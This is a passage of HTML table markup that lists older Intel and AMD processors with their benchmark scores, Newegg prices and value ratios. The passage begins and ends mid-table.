href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i5+750+%40+2.67GHz\">4186</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115215\">194.99</a></td>\n<td>21.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037\">Intel Core2 Quad Q8400 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q8400+%40+2.66GHz\">3602</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037\">167.99</a></td>\n<td>21.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103692\">AMD Phenom II X4 965</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+965\">4200</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103692\">195.99</a></td>\n<td>21.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103808\">AMD Phenom II X4 955</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+955\">3770</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103808\">175.99</a></td>\n<td>21.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103644\">AMD Phenom II X4 940</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+940\">3558</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103644\">166.97</a></td>\n<td>21.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105259\">Dual-Core AMD Opteron 1216</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Dual-Core+AMD+Opteron+1216\">1169</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105259\">55.99</a></td>\n<td>20.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103293\">AMD Phenom 9350e Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9350e+Quad-Core\">2296</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103293\">109.99</a></td>\n<td>20.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103716\">AMD Athlon 5000 Dual-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+5000+Dual-Core\">1376</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103716\">65.99</a></td>\n<td>20.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103675\">AMD Phenom II X4 945</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+945\">3403</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103675\">165.00</a></td>\n<td>20.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103709\">AMD Phenom 8250e Triple-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+8250e+Triple-Core\">1531</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103709\">75.99</a></td>\n<td>20.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103269\">AMD Phenom 8600B Triple-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+8600B+Triple-Core\">1864</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103269\">92.99</a></td>\n<td>20.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115214\">Intel Core i7 860 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+860+%40+2.80GHz\">5565</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115214\">279.99</a></td>\n<td>19.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116076\">Pentium Dual-Core E5400 @ 2.70GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Pentium+Dual-Core+E5400+%40+2.70GHz\">1754</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116076\">89.99</a></td>\n<td>19.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115131\">Intel Core2 Quad Q9400 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9400+%40+2.66GHz\">3678</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115131\">189.99</a></td>\n<td>19.4</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115202\">Intel Core i7 920 @ 2.67GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+920+%40+2.67GHz\">5452</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115202\">288.99</a></td>\n<td>18.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103210\">AMD Athlon 64 X2 Dual Core 5200+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+5200%2B\">1374</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103210\">73.99</a></td>\n<td>18.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103648\">AMD Phenom II X3 710</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X3+710\">2201</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103648\">119.00</a></td>\n<td>18.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103680\">AMD Phenom II X2 550</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X2+550\">1834</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103680\">99.00</a></td>\n<td>18.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103694\">AMD Phenom II X2 545</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X2+545\">1722</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103694\">93.98</a></td>\n<td>18.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103649\">AMD Phenom II X3 720</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X3+720\">2525</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103649\">140.99</a></td>\n<td>17.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103769\">AMD Athlon 64 X2 Dual Core 5400+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Athlon+64+X2+Dual+Core+5400%2B\">1443</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103769\">81.99</a></td>\n<td>17.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103189\">AMD Sempron LE-1250</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+LE-1250\">550</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103189\">31.99</a></td>\n<td>17.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103683\">AMD Phenom II X3 705e</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X3+705e\">2324</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103683\">134.99</a></td>\n<td>17.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105134\">Dual-Core AMD Opteron 1220</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Dual-Core+AMD+Opteron+1220\">1443</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105134\">85.99</a></td>\n<td>16.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115041\">Intel Core2 Quad Q9550 @ 2.83GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9550+%40+2.83GHz\">4178</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115041\">249.99</a></td>\n<td>16.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115060\">Intel Core2 Quad Q9505 @ 2.83GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9505+%40+2.83GHz\">3810</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115060\">229.99</a></td>\n<td>16.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105261\">Dual-Core AMD Opteron 1218</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Dual-Core+AMD+Opteron+1218\">1094</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819105261\">65.99</a></td>\n<td>16.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115056\">Intel Core2 Duo E7500 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E7500+%40+2.93GHz\">1947</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115056\">119.99</a></td>\n<td>16.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116092\">Intel Celeron E1600 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+E1600+%40+2.40GHz\">1007</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116092\">61.99</a></td>\n<td>16.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115206\">Intel Core2 Duo E7400 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E7400+%40+2.80GHz\">1864</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115206\">117.99</a></td>\n<td>15.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103682\">AMD Phenom II X4 905e</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+II+X4+905e\">2789</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103682\">184.99</a></td>\n<td>15.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117127\">Intel Xeon X3220 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3220+%40+2.40GHz\">2961</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117127\">199.99</a></td>\n<td>14.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117166\">Intel Xeon X3360 @ 2.83GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3360+%40+2.83GHz\">4277</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117166\">299.99</a></td>\n<td>14.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115059\">Intel Core2 Duo E7600 @ 3.06GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E7600+%40+3.06GHz\">2010</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115059\">144.99</a></td>\n<td>13.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115130\">Intel Core2 Quad Q9650 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9650+%40+3.00GHz\">4456</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115130\">324.99</a></td>\n<td>13.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116039\">Intel Celeron 430 @ 1.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Celeron+430+%40+1.80GHz\">530</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819116039\">39.99</a></td>\n<td>13.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117173\">Intel Xeon X3370 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3370+%40+3.00GHz\">4629</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117173\">349.99</a></td>\n<td>13.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117155\">Intel Xeon X3230 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+X3230+%40+2.66GHz\">3755</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117155\">289.99</a></td>\n<td>13</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117186\">Intel Xeon E5506 @ 2.13GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5506+%40+2.13GHz\">3507</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117186\">269.99</a></td>\n<td>13</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117151\">Intel Xeon E5405 @ 2.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5405+%40+2.00GHz\">2993</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117151\">229.99</a></td>\n<td>13</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117187\">Intel Xeon E5504 @ 2.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5504+%40+2.00GHz\">3098</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117187\">239.99</a></td>\n<td>12.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117150\">Intel Xeon E5410 @ 2.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5410+%40+2.33GHz\">3750</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117150\">289.99</a></td>\n<td>12.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037\">Intel Core2 Duo E8400 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E8400+%40+3.00GHz\">2164</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115037\">167.99</a></td>\n<td>12.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103226\">AMD Phenom 9500 Quad-Core</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Phenom+9500+Quad-Core\">2250</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103226\">175.00</a></td>\n<td>12.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103188\">AMD Sempron LE-1300</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+LE-1300\">582</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103188\">45.99</a></td>\n<td>12.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117165\">Intel Xeon E3110 @ 3.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E3110+%40+3.00GHz\">2269</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117165\">179.99</a></td>\n<td>12.6</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115036\">Intel Core2 Duo E8500 @ 3.16GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E8500+%40+3.16GHz\">2308</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115036\">189.99</a></td>\n<td>12.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115201\">Intel Core i7 940 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+940+%40+2.93GHz\">6116</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115201\">499.99</a></td>\n<td>12.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115213\">Intel Core i7 870 @ 2.93GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+870+%40+2.93GHz\">6184</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115213\">539.99</a></td>\n<td>11.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115216\">Intel Core i7 960 @ 3.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+960+%40+3.20GHz\">6530</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115216\">589.99</a></td>\n<td>11.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115211\">Intel Core i7 950 @ 3.07GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+950+%40+3.07GHz\">6299</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115211\">569.99</a></td>\n<td>11.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117148\">Intel Xeon E5420 @ 2.50GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5420+%40+2.50GHz\">3733</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117148\">349.99</a></td>\n<td>10.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117185\">Intel Xeon E5520 @ 2.27GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5520+%40+2.27GHz\">3960</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117185\">384.99</a></td>\n<td>10.3</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117145\">Intel Xeon E5430 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5430+%40+2.66GHz\">4485</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117145\">499.99</a></td>\n<td>9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115054\">Intel Core2 Duo E8600 @ 3.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+E8600+%40+3.33GHz\">2469</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115054\">279.99</a></td>\n<td>8.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111015\">Intel Core i7 720QM @ 1.60GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+720QM+%40+1.60GHz\">3353</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111015\">379.99</a></td>\n<td>8.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111011\">Intel Core2 Quad Q9000 @ 2.00GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Quad+Q9000+%40+2.00GHz\">2991</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111011\">364.99</a></td>\n<td>8.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117188\">Intel Xeon E5502 @ 1.87GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5502+%40+1.87GHz\">1602</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117188\">199.99</a></td>\n<td>8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111013\">Intel Core2 Duo P8700 @ 2.53GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8700+%40+2.53GHz\">1760</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111013\">219.99</a></td>\n<td>8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111014\">Intel Core2 Duo P8800 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8800+%40+2.66GHz\">1923</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111014\">249.99</a></td>\n<td>7.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117184\">Intel Xeon E5530 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5530+%40+2.40GHz\">4290</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117184\">569.99</a></td>\n<td>7.5</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111009\">Intel Core2 Duo P8600 @ 2.40GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8600+%40+2.40GHz\">1593</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111009\">219.99</a></td>\n<td>7.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115212\">Intel Core i7 975 @ 3.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core+i7+975+%40+3.33GHz\">6931</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819115212\">969.99</a></td>\n<td>7.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111010\">Intel Core2 Duo P8400 @ 2.26GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+P8400+%40+2.26GHz\">1512</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111010\">214.99</a></td>\n<td>7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117211\">Intel Xeon W3570 @ 3.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+W3570+%40+3.20GHz\">7166</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117211\">1069.99</a></td>\n<td>6.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117144\">Intel Xeon E5440 @ 2.83GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5440+%40+2.83GHz\">4589</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117144\">739.99</a></td>\n<td>6.2</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103826\">AMD Sempron 2200+</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=AMD+Sempron+2200%2B\">319</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819103826\">51.98</a></td>\n<td>6.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111012\">Intel Core2 Duo T9550 @ 2.66GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T9550+%40+2.66GHz\">1898</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111012\">319.99</a></td>\n<td>5.9</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111006\">Intel Core2 Duo T9600 @ 2.80GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T9600+%40+2.80GHz\">1987</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111006\">339.99</a></td>\n<td>5.8</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117183\">Intel Xeon E5540 @ 2.53GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+E5540+%40+2.53GHz\">4467</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117183\">779.99</a></td>\n<td>5.7</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117214\">Intel Xeon W5590 @ 3.33GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Xeon+W5590+%40+3.33GHz\">8597</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819117214\">1689.99</a></td>\n<td>5.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111008\">Intel Core2 Duo T9400 @ 2.53GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T9400+%40+2.53GHz\">1710</a></td>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111008\">335.98</a></td>\n<td>5.1</td>\n</tr>\n<tr>\n<td><a href=\"http://www.newegg.com/Product/Product.aspx?Item=N82E16819111317\">Intel Core2 Duo T7500 @ 2.20GHz</a></td>\n<td><a href=\"http://www.cpubenchmark.net/cpu_lookup.php?cpu=Intel+Core2+Duo+T7500+%40+2.20GHz\">1239</a></td>\n<td><a 